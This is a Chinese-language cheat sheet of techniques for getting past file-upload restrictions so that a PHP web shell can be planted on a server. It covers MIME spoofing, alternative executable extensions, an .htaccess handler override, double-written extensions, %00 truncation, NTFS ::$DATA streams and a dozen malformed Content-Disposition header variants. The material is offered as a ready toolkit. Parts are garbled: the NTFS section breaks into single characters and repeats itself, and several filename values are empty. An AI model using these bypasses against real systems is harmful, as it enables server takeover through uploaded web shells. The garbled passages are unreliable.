Bypass上传绕过
一般思路
01 前端代码js校验
一般情况下将一句话木马修改成png格式,在上传符合条件后进行抓包,修改成php或其他格式的木马文件。
02 MIME文件类型校验
当上传后,提示文件类型不正确,也有可能是MIME校验
将Content-Type:image/jpeg 或者Content-Type:image/png
03 php多种扩展名绕过
如果是黑名单限制,上传php文件时出现提示,php被加入了黑名单,可以尝试上传php5,php4等其他扩展名文件绕过黑名单限制
语言 | 可解析后缀 |
---|---|
php | php ,php5, php4, php3, php2,pHp , pHp5 , pHp4 , pHp3, pHp2 , html, htm, phtml, pht , Html, Htm, pHtml |
jsp | jsp , jspa, jspx, jsw,jsv, jspf, jtml, jSp, jSpx, jSpa, jSw, jSv, jSpf, jHtml |
asp | asp,aspx, asa, asax , ascx, ashx, asmx, cer,aSp,aSpx, aSa,aSax, aScx, aShx, aSmx, cEr |
04 可上传.htaccess文件时结合图片马绕过
通过上传png图片发现文件名并未改变,但是各种扩展名大小写都被限制,尝试上传名为“.htaccess”文件,内容为:
SetHandler application/x-httpd-php
上传成功后便会使得所有文件解析为php并且执行,此时上传文件改为png格式成功上传,查看解析
05 后缀名双写绕过或加上大小写进行双写绕过
通过上传文件后查看文件后缀.php被过滤,猜测可能之过滤一次,尝试双写后缀名绕过,这里双写要注意:和产生的文件是不同的,过滤的顺序是从左往右的,所以会生成文件,所以为了避免这种情况出现需要插入完整的php,Php,PHP等后缀
06 %00截断绕过
通过测试得知是后端白名单限制,对内容并未过滤,可对上传文件名进行%00截断或对上传路径进行截断
另类思路
默认状态
Content-Disposition: form-data; name=“filepath”; filename=“”
Content-Type: image/png
思路一:
Content-Disposition: form-data; name=“filepath”; filename="[0x09]"
Content-Type: image/png
思路二:除去双引号的限制
Content-Disposition: form-data; name=“filepath”; filename=
Content-Type: image/png
思路三: 再次添加一个filename1
Content-Disposition: form-data; name=“filepath”; filename=“”;filename1=“”
Content-Type: image/png
思路四: form中间+
Content-Disposition: f+orm-data; name=“filepath”;filename=“”
Content-Type: image/png
思路五: 大小写
ConTent-Disposition: form-data; name=“filepath”; filename=“”
Content-Type: image/png
思路六:去掉form-data
ConTent-Disposition: name=“filepath”; filename=“”
Content-Type: image/png
思路七:可以在Content-Disposition:后添加多个空格或者tab,或者在form-data;后添加多个空格或者tab
ConTent-Disposition: form-data; name=“filepath”; filename=“”
Content-Type: image/png
思路八: . (空格+.)
ConTent-Disposition: form-data; name=“filepath”; filename=“ .”
Content-Type: image/png
思路九: 对引号"换行
ConTent-Disposition: form-data; name=“filepath”; filename="
"
Content-Type: image/png
思路十: NTFS流
在php+Windows的情况下:文件名如果+"::
D
A
T
A
"
会
把
"
:
:
DATA" 会把 "::
DATA"会把"::DATA"之后的数据当成文件流处理,并且不会检测后缀名且保持”::$DATA”之前的文件名
抓包修改为如图所示
ConTent-Disposition: form-data; name=“filepath”; filename=“::$DATA”
Content-Type: image/png
ConTent-Disposition: form-data; name=“filepath”; filename=“::$DATA\0x00\fuck.”
Content-Type: image/png
思路十一: 构造如请求[上传成功]:
[mw_shl_code=bash,true]Content-Disposition: form-data; name=“FileUploadName”; filename=“”
Content-Disposition: form-data; name=“FileUploadName”; filename=“”
Content-Type: application/octet-stream
Content-Disposition: form-data; name=“FileUploadName”; filename=“”
Content-Disposition: form-data;
name=“FileUploadName”; filename=“”[/mw_shl_code]
思路十二: 构造Content-Type和ConTent-Disposition换位
Content-Type: image/png
ConTent-Disposition: form-data; name=“filepath”; filename=“”
变成
Content-Disposition: form-data; name=“filepath”; filename=“”
Content-Type: image/png